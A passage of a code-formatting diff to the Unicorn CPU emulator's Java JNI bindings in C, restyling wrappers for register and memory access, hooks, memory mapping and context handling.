(*env)->NewObject(env, clz, cons, longVal); + if ((*env)->ExceptionCheck(env)) { + return NULL; + } + return result; } /* @@ -289,27 +322,30 @@ JNIEXPORT jobject JNICALL Java_unicorn_Unicorn_reg_1read_1num * Method: reg_read_mmr * Signature: (I)Ljava/lang/Number; */ -JNIEXPORT jobject JNICALL Java_unicorn_Unicorn_reg_1read_1mmr - (JNIEnv *env, jobject self, jint regid) { - uc_engine *eng = getEngine(env, self); +JNIEXPORT jobject JNICALL Java_unicorn_Unicorn_reg_1read_1mmr(JNIEnv *env, + jobject self, + jint regid) +{ + uc_engine *eng = getEngine(env, self); - jclass clz = (*env)->FindClass(env, "unicorn/X86_MMR"); - if ((*env)->ExceptionCheck(env)) { - return NULL; - } + jclass clz = (*env)->FindClass(env, "unicorn/X86_MMR"); + if ((*env)->ExceptionCheck(env)) { + return NULL; + } - uc_x86_mmr mmr; - uc_err err = uc_reg_read(eng, regid, &mmr); - if (err != UC_ERR_OK) { - throwException(env, err); - } + uc_x86_mmr mmr; + uc_err err = uc_reg_read(eng, regid, &mmr); + if (err != UC_ERR_OK) { + throwException(env, err); + } - jmethodID cons = (*env)->GetMethodID(env, clz, "", "(JIIS)V"); - jobject result = (*env)->NewObject(env, clz, cons, mmr.base, mmr.limit, mmr.flags, mmr.selector); - if ((*env)->ExceptionCheck(env)) { - return NULL; - } - return result; + jmethodID cons = (*env)->GetMethodID(env, clz, "", "(JIIS)V"); + jobject result = (*env)->NewObject(env, clz, cons, mmr.base, mmr.limit, + mmr.flags, mmr.selector); + if ((*env)->ExceptionCheck(env)) { + return NULL; + } + return result; } /* @@ -317,14 +353,15 @@ JNIEXPORT jobject JNICALL Java_unicorn_Unicorn_reg_1read_1mmr * Method: open * Signature: (II)J */ -JNIEXPORT jlong JNICALL Java_unicorn_Unicorn_open - (JNIEnv *env, jobject self, jint arch, jint mode) { - uc_engine *eng = NULL; - uc_err err = uc_open((uc_arch)arch, (uc_mode)mode, &eng); - if (err != UC_ERR_OK) { - throwException(env, err); - } - return (jlong)eng; +JNIEXPORT jlong JNICALL Java_unicorn_Unicorn_open(JNIEnv *env, jobject self, + jint arch, jint mode) +{ + uc_engine *eng = NULL; + uc_err err = uc_open((uc_arch)arch, (uc_mode)mode, &eng); + if (err != UC_ERR_OK) { + throwException(env, err); + } + return (jlong)eng; } /* @@ -332,8 +369,8 @@ JNIEXPORT jlong JNICALL Java_unicorn_Unicorn_open * Method: version * Signature: ()I */ -JNIEXPORT jint JNICALL Java_unicorn_Unicorn_version - (JNIEnv *env, jclass clz) { +JNIEXPORT jint JNICALL Java_unicorn_Unicorn_version(JNIEnv *env, jclass clz) +{ return (jint)uc_version(NULL, NULL); } @@ -342,8 +379,10 @@ JNIEXPORT jint JNICALL Java_unicorn_Unicorn_version * Method: arch_supported * Signature: (I)Z */ -JNIEXPORT jboolean JNICALL Java_unicorn_Unicorn_arch_1supported - (JNIEnv *env, jclass clz, jint arch) { +JNIEXPORT jboolean JNICALL Java_unicorn_Unicorn_arch_1supported(JNIEnv *env, + jclass clz, + jint arch) +{ return (jboolean)(uc_arch_supported((uc_arch)arch) != 0); } @@ -352,15 +391,15 @@ JNIEXPORT jboolean JNICALL Java_unicorn_Unicorn_arch_1supported * Method: close * Signature: ()V */ -JNIEXPORT void JNICALL Java_unicorn_Unicorn_close - (JNIEnv *env, jobject self) { - uc_engine *eng = getEngine(env, self); - uc_err err = uc_close(eng); - if (err != UC_ERR_OK) { - throwException(env, err); - } - //We also need to ReleaseByteArrayElements for any regions that - //were mapped with uc_mem_map_ptr +JNIEXPORT void JNICALL Java_unicorn_Unicorn_close(JNIEnv *env, jobject self) +{ + uc_engine *eng = getEngine(env, self); + uc_err err = uc_close(eng); + if (err != UC_ERR_OK) { + throwException(env, err); + } + // We also need to ReleaseByteArrayElements for any regions that + // were mapped with uc_mem_map_ptr } /* @@ -368,15 +407,16 @@ JNIEXPORT void JNICALL Java_unicorn_Unicorn_close * Method: query * Signature: (I)I */ -JNIEXPORT jint JNICALL Java_unicorn_Unicorn_query - (JNIEnv *env, jobject self, jint type) { - uc_engine *eng = getEngine(env, self); - size_t result; - uc_err err = uc_query(eng, type, &result); - if (err != UC_ERR_OK) { - throwException(env, err); - } - return (jint)result; +JNIEXPORT jint JNICALL Java_unicorn_Unicorn_query(JNIEnv *env, jobject self, + jint type) +{ + uc_engine *eng = getEngine(env, self); + size_t result; + uc_err err = uc_query(eng, type, &result); + if (err != UC_ERR_OK) { + throwException(env, err); + } + return (jint)result; } /* @@ -384,10 +424,10 @@ JNIEXPORT jint JNICALL Java_unicorn_Unicorn_query * Method: errno * Signature: ()I */ -JNIEXPORT jint JNICALL Java_unicorn_Unicorn_errno - (JNIEnv *env, jobject self) { - uc_engine *eng = getEngine(env, self); - return (jint)uc_errno(eng); +JNIEXPORT jint JNICALL Java_unicorn_Unicorn_errno(JNIEnv *env, jobject self) +{ + uc_engine *eng = getEngine(env, self); + return (jint)uc_errno(eng); } /* @@ -395,11 +435,12 @@ JNIEXPORT jint JNICALL Java_unicorn_Unicorn_errno * Method: strerror * Signature: (I)Ljava/lang/String; */ -JNIEXPORT jstring JNICALL Java_unicorn_Unicorn_strerror - (JNIEnv *env, jclass clz, jint code) { - const char *err = uc_strerror((int)code); - jstring s = (*env)->NewStringUTF(env, err); - return s; +JNIEXPORT jstring JNICALL Java_unicorn_Unicorn_strerror(JNIEnv *env, jclass clz, + jint code) +{ + const char *err = uc_strerror((int)code); + jstring s = (*env)->NewStringUTF(env, err); + return s; } /* @@ -407,15 +448,17 @@ JNIEXPORT jstring JNICALL Java_unicorn_Unicorn_strerror * Method: reg_write * Signature: (I[B)V */ -JNIEXPORT void JNICALL Java_unicorn_Unicorn_reg_1write - (JNIEnv *env, jobject self, jint regid, jbyteArray value) { - uc_engine *eng = getEngine(env, self); - jbyte *array = (*env)->GetByteArrayElements(env, value, NULL); - uc_err err = uc_reg_write(eng, (int)regid, (void *)array); - if (err != UC_ERR_OK) { - throwException(env, err); - } - (*env)->ReleaseByteArrayElements(env, value, array, JNI_ABORT); +JNIEXPORT void JNICALL Java_unicorn_Unicorn_reg_1write(JNIEnv *env, + jobject self, jint regid, + jbyteArray value) +{ + uc_engine *eng = getEngine(env, self); + jbyte *array = (*env)->GetByteArrayElements(env, value, NULL); + uc_err err = uc_reg_write(eng, (int)regid, (void *)array); + if (err != UC_ERR_OK) { + throwException(env, err); + } + (*env)->ReleaseByteArrayElements(env, value, array, JNI_ABORT); } /* @@ -423,17 +466,20 @@ JNIEXPORT void JNICALL Java_unicorn_Unicorn_reg_1write * Method: reg_read * Signature: (II)[B */ -JNIEXPORT jbyteArray JNICALL Java_unicorn_Unicorn_reg_1read - (JNIEnv *env, jobject self, jint regid, jint regsz) { - uc_engine *eng = getEngine(env, self); - jbyteArray regval = (*env)->NewByteArray(env, (jsize)regsz); - jbyte *array = (*env)->GetByteArrayElements(env, regval, NULL); - uc_err err = uc_reg_read(eng, (int)regid, (void *)array); - if (err != UC_ERR_OK) { - throwException(env, err); - } - (*env)->ReleaseByteArrayElements(env, regval, array, 0); - return regval; +JNIEXPORT jbyteArray JNICALL Java_unicorn_Unicorn_reg_1read(JNIEnv *env, + jobject self, + jint regid, + jint regsz) +{ + uc_engine *eng = getEngine(env, self); + jbyteArray regval = (*env)->NewByteArray(env, (jsize)regsz); + jbyte *array = (*env)->GetByteArrayElements(env, regval, NULL); + uc_err err = uc_reg_read(eng, (int)regid, (void *)array); + if (err != UC_ERR_OK) { + throwException(env, err); + } + (*env)->ReleaseByteArrayElements(env, regval, array, 0); + return regval; } /* @@ -441,19 +487,22 @@ JNIEXPORT jbyteArray JNICALL Java_unicorn_Unicorn_reg_1read * Method: mem_write * Signature: (J[B)V */ -JNIEXPORT void JNICALL Java_unicorn_Unicorn_mem_1write - (JNIEnv *env , jobject self, jlong address, jbyteArray bytes) { +JNIEXPORT void JNICALL Java_unicorn_Unicorn_mem_1write(JNIEnv *env, + jobject self, + jlong address, + jbyteArray bytes) +{ - uc_engine *eng = getEngine(env, self); - jbyte *array = (*env)->GetByteArrayElements(env, bytes, NULL); - jsize size = (*env)->GetArrayLength(env, bytes); - uc_err err = uc_mem_write(eng, (uint64_t)address, array, (size_t)size); + uc_engine *eng = getEngine(env, self); + jbyte *array = (*env)->GetByteArrayElements(env, bytes, NULL); + jsize size = (*env)->GetArrayLength(env, bytes); + uc_err err = uc_mem_write(eng, (uint64_t)address, array, (size_t)size); - if (err != UC_ERR_OK) { - throwException(env, err); - } + if (err != UC_ERR_OK) { + throwException(env, err); + } - (*env)->ReleaseByteArrayElements(env, bytes, array, JNI_ABORT); + (*env)->ReleaseByteArrayElements(env, bytes, array, JNI_ABORT); } /* @@ -461,18 +510,21 @@ JNIEXPORT void JNICALL Java_unicorn_Unicorn_mem_1write * Method: mem_read * Signature: (JJ)[B */ -JNIEXPORT jbyteArray JNICALL Java_unicorn_Unicorn_mem_1read - (JNIEnv *env, jobject self, jlong address, jlong size) { - uc_engine *eng = getEngine(env, self); +JNIEXPORT jbyteArray JNICALL Java_unicorn_Unicorn_mem_1read(JNIEnv *env, + jobject self, + jlong address, + jlong size) +{ + uc_engine *eng = getEngine(env, self); - jbyteArray bytes = (*env)->NewByteArray(env, (jsize)size); - jbyte *array = (*env)->GetByteArrayElements(env, bytes, NULL); - uc_err err = uc_mem_read(eng, (uint64_t)address, array, (size_t)size); - if (err != UC_ERR_OK) { - throwException(env, err); - } - (*env)->ReleaseByteArrayElements(env, bytes, array, 0); - return bytes; + jbyteArray bytes = (*env)->NewByteArray(env, (jsize)size); + jbyte *array = (*env)->GetByteArrayElements(env, bytes, NULL); + uc_err err = uc_mem_read(eng, (uint64_t)address, array, (size_t)size); + if (err != UC_ERR_OK) { + throwException(env, err); + } + (*env)->ReleaseByteArrayElements(env, bytes, array, 0); + return bytes; } /* @@ -480,14 +532,19 @@ JNIEXPORT jbyteArray JNICALL Java_unicorn_Unicorn_mem_1read * Method: emu_start * Signature: (JJJJ)V */ -JNIEXPORT void JNICALL Java_unicorn_Unicorn_emu_1start - (JNIEnv *env, jobject self, jlong begin, jlong until, jlong timeout, jlong count) { - uc_engine *eng = getEngine(env, self); +JNIEXPORT void JNICALL Java_unicorn_Unicorn_emu_1start(JNIEnv *env, + jobject self, + jlong begin, jlong until, + jlong timeout, + jlong count) +{ + uc_engine *eng = getEngine(env, self); - uc_err err = uc_emu_start(eng, (uint64_t)begin, (uint64_t)until, (uint64_t)timeout, (size_t)count); - if (err != UC_ERR_OK) { - throwException(env, err); - } + uc_err err = uc_emu_start(eng, (uint64_t)begin, (uint64_t)until, + (uint64_t)timeout, (size_t)count); + if (err != UC_ERR_OK) { + throwException(env, err); + } } /* @@ -495,14 +552,14 @@ JNIEXPORT void JNICALL Java_unicorn_Unicorn_emu_1start * Method: emu_stop * Signature: ()V */ -JNIEXPORT void JNICALL Java_unicorn_Unicorn_emu_1stop - (JNIEnv *env, jobject self) { - uc_engine *eng = getEngine(env, self); +JNIEXPORT void JNICALL Java_unicorn_Unicorn_emu_1stop(JNIEnv *env, jobject self) +{ + uc_engine *eng = getEngine(env, self); - uc_err err = uc_emu_stop(eng); - if (err != UC_ERR_OK) { - throwException(env, err); - } + uc_err err = uc_emu_stop(eng); + if (err != UC_ERR_OK) { + throwException(env, err); + } } /* @@ -510,30 +567,39 @@ JNIEXPORT void JNICALL Java_unicorn_Unicorn_emu_1stop * Method: registerHook * Signature: (JI)J */ -JNIEXPORT jlong JNICALL Java_unicorn_Unicorn_registerHook__JI - (JNIEnv *env, jclass clz, jlong eng, jint type) { - uc_hook hh = 0; - uc_err err = 0; - switch (type) { - case UC_HOOK_INTR: // Hook all interrupt events - if (invokeInterruptCallbacks == 0) { - invokeInterruptCallbacks = (*env)->GetStaticMethodID(env, clz, "invokeInterruptCallbacks", "(JI)V"); - } - err = uc_hook_add((uc_engine*)eng, &hh, (uc_hook_type)type, cb_hookintr, env, 1, 0); - break; - case UC_HOOK_MEM_FETCH_UNMAPPED: // Hook for all invalid memory access events - case UC_HOOK_MEM_READ_UNMAPPED: // Hook for all invalid memory access events - case UC_HOOK_MEM_WRITE_UNMAPPED: // Hook for all invalid memory access events - case UC_HOOK_MEM_FETCH_PROT: // Hook for all invalid memory access events - case UC_HOOK_MEM_READ_PROT: // Hook for all invalid memory access events - case UC_HOOK_MEM_WRITE_PROT: // Hook for all invalid memory access events - if (invokeEventMemCallbacks == 0) { - invokeEventMemCallbacks = (*env)->GetStaticMethodID(env, clz, "invokeEventMemCallbacks", "(JIJIJ)Z"); - } - err = uc_hook_add((uc_engine*)eng, &hh, (uc_hook_type)type, cb_eventmem, env, 1, 0); - break; - } - return (jlong)hh; +JNIEXPORT jlong JNICALL Java_unicorn_Unicorn_registerHook__JI(JNIEnv *env, + jclass clz, + jlong eng, + jint type) +{ + uc_hook hh = 0; + uc_err err = 0; + switch (type) { + case UC_HOOK_INTR: // Hook all interrupt events + if (invokeInterruptCallbacks == 0) { + invokeInterruptCallbacks = (*env)->GetStaticMethodID( + env, clz, "invokeInterruptCallbacks", "(JI)V"); + } + err = uc_hook_add((uc_engine *)eng, &hh, (uc_hook_type)type, + cb_hookintr, env, 1, 0); + break; + case UC_HOOK_MEM_FETCH_UNMAPPED: // Hook for all invalid memory access + // events + case UC_HOOK_MEM_READ_UNMAPPED: // Hook for all invalid memory access events + case UC_HOOK_MEM_WRITE_UNMAPPED: // Hook for all invalid memory access + // events + case UC_HOOK_MEM_FETCH_PROT: // Hook for all invalid memory access events + case UC_HOOK_MEM_READ_PROT: // Hook for all invalid memory access events + case UC_HOOK_MEM_WRITE_PROT: // Hook for all invalid memory access events + if (invokeEventMemCallbacks == 0) { + invokeEventMemCallbacks = (*env)->GetStaticMethodID( + env, clz, "invokeEventMemCallbacks", "(JIJIJ)Z"); + } + err = uc_hook_add((uc_engine *)eng, &hh, (uc_hook_type)type, + cb_eventmem, env, 1, 0); + break; + } + return (jlong)hh; } /* @@ -541,33 +607,40 @@ JNIEXPORT jlong JNICALL Java_unicorn_Unicorn_registerHook__JI * Method: registerHook * Signature: (JII)J */ -JNIEXPORT jlong JNICALL Java_unicorn_Unicorn_registerHook__JII - (JNIEnv *env, jclass clz, jlong eng, jint type, jint arg1) { - uc_hook hh = 0; - uc_err err = 0; - switch (type) { - case UC_HOOK_INSN: // Hook a particular instruction - switch (arg1) { - case UC_X86_INS_OUT: - if (invokeOutCallbacks == 0) { - invokeOutCallbacks = (*env)->GetStaticMethodID(env, clz, "invokeOutCallbacks", "(JIII)V"); - } - err = uc_hook_add((uc_engine*)eng, &hh, (uc_hook_type)type, cb_insn_out, env, 1, 0, arg1); - case UC_X86_INS_IN: - if (invokeInCallbacks == 0) { - invokeInCallbacks = (*env)->GetStaticMethodID(env, clz, "invokeInCallbacks", "(JII)I"); - } - err = uc_hook_add((uc_engine*)eng, &hh, (uc_hook_type)type, cb_insn_in, env, 1, 0, arg1); - case UC_X86_INS_SYSENTER: - case UC_X86_INS_SYSCALL: - if (invokeSyscallCallbacks == 0) { - invokeSyscallCallbacks = (*env)->GetStaticMethodID(env, clz, "invokeSyscallCallbacks", "(J)V"); - } - err = uc_hook_add((uc_engine*)eng, &hh, (uc_hook_type)type, cb_insn_syscall, env, 1, 0, arg1); - } - break; - } - return (jlong)hh; +JNIEXPORT jlong JNICALL Java_unicorn_Unicorn_registerHook__JII( + JNIEnv *env, jclass clz, jlong eng, jint type, jint arg1) +{ + uc_hook hh = 0; + uc_err err = 0; + switch (type) { + case UC_HOOK_INSN: // Hook a particular instruction + switch (arg1) { + case UC_X86_INS_OUT: + if (invokeOutCallbacks == 0) { + invokeOutCallbacks = (*env)->GetStaticMethodID( + env, clz, "invokeOutCallbacks", "(JIII)V"); + } + err = uc_hook_add((uc_engine *)eng, &hh, (uc_hook_type)type, + cb_insn_out, env, 1, 0, arg1); + case UC_X86_INS_IN: + if (invokeInCallbacks == 0) { + invokeInCallbacks = (*env)->GetStaticMethodID( + env, clz, "invokeInCallbacks", "(JII)I"); + } + err = uc_hook_add((uc_engine *)eng, &hh, (uc_hook_type)type, + cb_insn_in, env, 1, 0, arg1); + case UC_X86_INS_SYSENTER: + case UC_X86_INS_SYSCALL: + if (invokeSyscallCallbacks == 0) { + invokeSyscallCallbacks = (*env)->GetStaticMethodID( + env, clz, "invokeSyscallCallbacks", "(J)V"); + } + err = uc_hook_add((uc_engine *)eng, &hh, (uc_hook_type)type, + cb_insn_syscall, env, 1, 0, arg1); + } + break; + } + return (jlong)hh; } /* @@ -575,37 +648,46 @@ JNIEXPORT jlong JNICALL Java_unicorn_Unicorn_registerHook__JII * Method: registerHook * Signature: (JIJJ)J */ -JNIEXPORT jlong JNICALL Java_unicorn_Unicorn_registerHook__JIJJ - (JNIEnv *env, jclass clz, jlong eng, jint type, jlong arg1, jlong arg2) { - uc_hook hh = 0; - uc_err err = 0; - switch (type) { - case UC_HOOK_CODE: // Hook a range of code - if (invokeCodeCallbacks == 0) { - invokeCodeCallbacks = (*env)->GetStaticMethodID(env, clz, "invokeCodeCallbacks", "(JJI)V"); - } - err = uc_hook_add((uc_engine*)eng, &hh, (uc_hook_type)type, cb_hookcode, env, 1, 0, arg1, arg2); - break; - case UC_HOOK_BLOCK: // Hook basic blocks - if (invokeBlockCallbacks == 0) { - invokeBlockCallbacks = (*env)->GetStaticMethodID(env, clz, "invokeBlockCallbacks", "(JJI)V"); - } - err = uc_hook_add((uc_engine*)eng, &hh, (uc_hook_type)type, cb_hookblock, env, 1, 0, arg1, arg2); - break; - case UC_HOOK_MEM_READ: // Hook all memory read events. - if (invokeReadCallbacks == 0) { - invokeReadCallbacks = (*env)->GetStaticMethodID(env, clz, "invokeReadCallbacks", "(JJI)V"); - } - err = uc_hook_add((uc_engine*)eng, &hh, (uc_hook_type)type, cb_hookmem, env, 1, 0, arg1, arg2); - break; - case UC_HOOK_MEM_WRITE: // Hook all memory write events. - if (invokeWriteCallbacks == 0) { - invokeWriteCallbacks = (*env)->GetStaticMethodID(env, clz, "invokeWriteCallbacks", "(JJIJ)V"); - } - err = uc_hook_add((uc_engine*)eng, &hh, (uc_hook_type)type, cb_hookmem, env, 1, 0, arg1, arg2); - break; - } - return (jlong)hh; +JNIEXPORT jlong JNICALL Java_unicorn_Unicorn_registerHook__JIJJ( + JNIEnv *env, jclass clz, jlong eng, jint type, jlong arg1, jlong arg2) +{ + uc_hook hh = 0; + uc_err err = 0; + switch (type) { + case UC_HOOK_CODE: // Hook a range of code + if (invokeCodeCallbacks == 0) { + invokeCodeCallbacks = (*env)->GetStaticMethodID( + env, clz, "invokeCodeCallbacks", "(JJI)V"); + } + err = uc_hook_add((uc_engine *)eng, &hh, (uc_hook_type)type, + cb_hookcode, env, 1, 0, arg1, arg2); + break; + case UC_HOOK_BLOCK: // Hook basic blocks + if (invokeBlockCallbacks == 0) { + invokeBlockCallbacks = (*env)->GetStaticMethodID( + env, clz, "invokeBlockCallbacks", "(JJI)V"); + } + err = uc_hook_add((uc_engine *)eng, &hh, (uc_hook_type)type, + cb_hookblock, env, 1, 0, arg1, arg2); + break; + case UC_HOOK_MEM_READ: // Hook all memory read events. + if (invokeReadCallbacks == 0) { + invokeReadCallbacks = (*env)->GetStaticMethodID( + env, clz, "invokeReadCallbacks", "(JJI)V"); + } + err = uc_hook_add((uc_engine *)eng, &hh, (uc_hook_type)type, cb_hookmem, + env, 1, 0, arg1, arg2); + break; + case UC_HOOK_MEM_WRITE: // Hook all memory write events. + if (invokeWriteCallbacks == 0) { + invokeWriteCallbacks = (*env)->GetStaticMethodID( + env, clz, "invokeWriteCallbacks", "(JJIJ)V"); + } + err = uc_hook_add((uc_engine *)eng, &hh, (uc_hook_type)type, cb_hookmem, + env, 1, 0, arg1, arg2); + break; + } + return (jlong)hh; } /* @@ -613,16 +695,17 @@ JNIEXPORT jlong JNICALL Java_unicorn_Unicorn_registerHook__JIJJ * Method: hook_del * Signature: (J)V */ -JNIEXPORT void JNICALL Java_unicorn_Unicorn_hook_1del - (JNIEnv *env, jobject self, jlong hh) { - uc_engine *eng = getEngine(env, self); +JNIEXPORT void JNICALL Java_unicorn_Unicorn_hook_1del(JNIEnv *env, jobject self, + jlong hh) +{ + uc_engine *eng = getEngine(env, self); - //**** TODO remove hook from any internal hook tables as well + //**** TODO remove hook from any internal hook tables as well - uc_err err = uc_hook_del(eng, (uc_hook)hh); - if (err != UC_ERR_OK) { - throwException(env, err); - } + uc_err err = uc_hook_del(eng, (uc_hook)hh); + if (err != UC_ERR_OK) { + throwException(env, err); + } } /* @@ -630,14 +713,17 @@ JNIEXPORT void JNICALL Java_unicorn_Unicorn_hook_1del * Method: mem_map * Signature: (JJI)V */ -JNIEXPORT void JNICALL Java_unicorn_Unicorn_mem_1map - (JNIEnv *env, jobject self, jlong address, jlong size, jint perms) { - uc_engine *eng = getEngine(env, self); +JNIEXPORT void JNICALL Java_unicorn_Unicorn_mem_1map(JNIEnv *env, jobject self, + jlong address, jlong size, + jint perms) +{ + uc_engine *eng = getEngine(env, self); - uc_err err = uc_mem_map(eng, (uint64_t)address, (size_t)size, (uint32_t)perms); - if (err != UC_ERR_OK) { - throwException(env, err); - } + uc_err err = + uc_mem_map(eng, (uint64_t)address, (size_t)size, (uint32_t)perms); + if (err != UC_ERR_OK) { + throwException(env, err); + } } /* @@ -645,17 +731,20 @@ JNIEXPORT void JNICALL Java_unicorn_Unicorn_mem_1map * Method: mem_map_ptr * Signature: (JJI[B)V */ -JNIEXPORT void JNICALL Java_unicorn_Unicorn_mem_1map_1ptr - (JNIEnv *env, jobject self, jlong address, jlong size, jint perms, jbyteArray block) { - uc_engine *eng = getEngine(env, self); - jbyte *array = (*env)->GetByteArrayElements(env, block, NULL); - uc_err err = uc_mem_map_ptr(eng, (uint64_t)address, (size_t)size, (uint32_t)perms, (void*)array); - if (err != UC_ERR_OK) { - throwException(env, err); - } - //Need to track address/block/array so that we can ReleaseByteArrayElements when the - //block gets unmapped or when uc_close gets called - //(*env)->ReleaseByteArrayElements(env, block, array, JNI_ABORT); +JNIEXPORT void JNICALL +Java_unicorn_Unicorn_mem_1map_1ptr(JNIEnv *env, jobject self, jlong address, + jlong size, jint perms, jbyteArray block) +{ + uc_engine *eng = getEngine(env, self); + jbyte *array = (*env)->GetByteArrayElements(env, block, NULL); + uc_err err = uc_mem_map_ptr(eng, (uint64_t)address, (size_t)size, + (uint32_t)perms, (void *)array); + if (err != UC_ERR_OK) { + throwException(env, err); + } + // Need to track address/block/array so that we can ReleaseByteArrayElements + // when the block gets unmapped or when uc_close gets called + //(*env)->ReleaseByteArrayElements(env, block, array, JNI_ABORT); } /* @@ -663,17 +752,20 @@ JNIEXPORT void JNICALL Java_unicorn_Unicorn_mem_1map_1ptr * Method: mem_unmap * Signature: (JJ)V */ -JNIEXPORT void JNICALL Java_unicorn_Unicorn_mem_1unmap - (JNIEnv *env, jobject self, jlong address, jlong size) { - uc_engine *eng = getEngine(env, self); +JNIEXPORT void JNICALL Java_unicorn_Unicorn_mem_1unmap(JNIEnv *env, + jobject self, + jlong address, + jlong size) +{ + uc_engine *eng = getEngine(env, self); - uc_err err = uc_mem_unmap(eng, (uint64_t)address, (size_t)size); - if (err != UC_ERR_OK) { - throwException(env, err); - } + uc_err err = uc_mem_unmap(eng, (uint64_t)address, (size_t)size); + if (err != UC_ERR_OK) { + throwException(env, err); + } - //If a region was mapped using uc_mem_map_ptr, we also need to - //ReleaseByteArrayElements for that region + // If a region was mapped using uc_mem_map_ptr, we also need to + // ReleaseByteArrayElements for that region } /* @@ -681,14 +773,18 @@ JNIEXPORT void JNICALL Java_unicorn_Unicorn_mem_1unmap * Method: mem_protect * Signature: (JJI)V */ -JNIEXPORT void JNICALL Java_unicorn_Unicorn_mem_1protect - (JNIEnv *env, jobject self, jlong address, jlong size, jint perms) { - uc_engine *eng = getEngine(env, self); +JNIEXPORT void JNICALL Java_unicorn_Unicorn_mem_1protect(JNIEnv *env, + jobject self, + jlong address, + jlong size, jint perms) +{ + uc_engine *eng = getEngine(env, self); - uc_err err = uc_mem_protect(eng, (uint64_t)address, (size_t)size, (uint32_t)perms); - if (err != UC_ERR_OK) { - throwException(env, err); - } + uc_err err = + uc_mem_protect(eng, (uint64_t)address, (size_t)size, (uint32_t)perms); + if (err != UC_ERR_OK) { + throwException(env, err); + } } /* @@ -696,31 +792,33 @@ JNIEXPORT void JNICALL Java_unicorn_Unicorn_mem_1protect * Method: mem_regions * Signature: ()[Lunicorn/MemRegion; */ -JNIEXPORT jobjectArray JNICALL Java_unicorn_Unicorn_mem_1regions - (JNIEnv *env, jobject self) { - uc_engine *eng = getEngine(env, self); +JNIEXPORT jobjectArray JNICALL Java_unicorn_Unicorn_mem_1regions(JNIEnv *env, + jobject self) +{ + uc_engine *eng = getEngine(env, self); - uc_mem_region *regions = NULL; - uint32_t count = 0; - uint32_t i; + uc_mem_region *regions = NULL; + uint32_t count = 0; + uint32_t i; - uc_err err = uc_mem_regions(eng, ®ions, &count); - if (err != UC_ERR_OK) { - throwException(env, err); - } - jclass clz = (*env)->FindClass(env, "unicorn/MemRegion"); - if ((*env)->ExceptionCheck(env)) { - return NULL; - } - jobjectArray result = (*env)->NewObjectArray(env, (jsize)count, clz, NULL); - jmethodID cons = (*env)->GetMethodID(env, clz, "", "(JJI)V"); - for (i = 0; i < count; i++) { - jobject mr = (*env)->NewObject(env, clz, cons, regions[i].begin, regions[i].end, regions[i].perms); - (*env)->SetObjectArrayElement(env, result, (jsize)i, mr); - } - uc_free(regions); + uc_err err = uc_mem_regions(eng, ®ions, &count); + if (err != UC_ERR_OK) { + throwException(env, err); + } + jclass clz = (*env)->FindClass(env, "unicorn/MemRegion"); + if ((*env)->ExceptionCheck(env)) { + return NULL; + } + jobjectArray result = (*env)->NewObjectArray(env, (jsize)count, clz, NULL); + jmethodID cons = (*env)->GetMethodID(env, clz, "", "(JJI)V"); + for (i = 0; i < count; i++) { + jobject mr = (*env)->NewObject(env, clz, cons, regions[i].begin, + regions[i].end, regions[i].perms); + (*env)->SetObjectArrayElement(env, result, (jsize)i, mr); + } + uc_free(regions); - return result; + return result; } /* @@ -728,15 +826,16 @@ JNIEXPORT jobjectArray JNICALL Java_unicorn_Unicorn_mem_1regions * Method: context_alloc * Signature: ()J */ -JNIEXPORT jlong JNICALL Java_unicorn_Unicorn_context_1alloc - (JNIEnv *env, jobject self) { - uc_engine *eng = getEngine(env, self); - uc_context *ctx; - uc_err err = uc_context_alloc(eng, &ctx); - if (err != UC_ERR_OK) { - throwException(env, err); - } - return (jlong)(uint64_t)ctx; +JNIEXPORT jlong JNICALL Java_unicorn_Unicorn_context_1alloc(JNIEnv *env, + jobject self) +{ + uc_engine *eng = getEngine(env, self); + uc_context *ctx; + uc_err err = uc_context_alloc(eng, &ctx); + if (err != UC_ERR_OK) { + throwException(env, err); + } + return (jlong)(uint64_t)ctx; } /* @@ -744,12 +843,13 @@ JNIEXPORT jlong JNICALL Java_unicorn_Unicorn_context_1alloc * Method: free * Signature: (J)V */ -JNIEXPORT void JNICALL Java_unicorn_Unicorn_free - (JNIEnv *env, jobject self, jlong ctx) { - uc_err err = uc_free((void *)ctx); - if (err != UC_ERR_OK) { - throwException(env, err); - } +JNIEXPORT void JNICALL Java_unicorn_Unicorn_free(JNIEnv *env, jobject self, + jlong ctx) +{ + uc_err err = uc_free((void *)ctx); + if (err != UC_ERR_OK) { + throwException(env, err); + } } /* @@ -757,13 +857,15 @@ JNIEXPORT void JNICALL Java_unicorn_Unicorn_free * Method: context_save * Signature: (J)V */ -JNIEXPORT void JNICALL Java_unicorn_Unicorn_context_1save - (JNIEnv *env, jobject self, jlong ctx) { - uc_engine *eng = getEngine(env, self); - uc_err err = uc_context_save(eng, (uc_context*)ctx); - if (err != UC_ERR_OK) { - throwException(env, err); - } +JNIEXPORT void JNICALL Java_unicorn_Unicorn_context_1save(JNIEnv *env, + jobject self, + jlong ctx) +{ + uc_engine *eng = getEngine(env, self); + uc_err err = uc_context_save(eng, (uc_context *)ctx); + if (err != UC_ERR_OK) { + throwException(env, err); + } } /* @@ -771,13 +873,15 @@ JNIEXPORT void JNICALL Java_unicorn_Unicorn_context_1save * Method: context_restore * Signature: (J)V */ -JNIEXPORT void JNICALL Java_unicorn_Unicorn_context_1restore - (JNIEnv *env, jobject self, jlong ctx) { - uc_engine *eng = getEngine(env, self); - uc_err err = uc_context_restore(eng, (uc_context*)ctx); - if (err != UC_ERR_OK) { - throwException(env, err); - } +JNIEXPORT void JNICALL Java_unicorn_Unicorn_context_1restore(JNIEnv *env, + jobject self, + jlong ctx) +{ + uc_engine *eng = getEngine(env, self); + uc_err err = uc_context_restore(eng, (uc_context *)ctx); + if (err != UC_ERR_OK) { + throwException(env, err); + } } /* @@ -785,11 +889,13 @@ JNIEXPORT void JNICALL Java_unicorn_Unicorn_context_1restore * Method: ctl_set_cpu_model * Signature: (I)V */ -JNIEXPORT void JNICALL Java_unicorn_Unicorn_ctl_1set_1cpu_1model - (JNIEnv *env, jobject self, jint cpu_model) { - uc_engine *eng = getEngine(env, self); - uc_err err = uc_ctl_set_cpu_model(eng, cpu_model); - if (err != UC_ERR_OK) { - throwException(env, err); - } +JNIEXPORT void JNICALL Java_unicorn_Unicorn_ctl_1set_1cpu_1model(JNIEnv *env, + jobject self, + jint cpu_model) +{ + uc_engine *eng = getEngine(env, self); + uc_err err = uc_ctl_set_cpu_model(eng, cpu_model); + if (err != UC_ERR_OK) { + throwException(env, err); + } }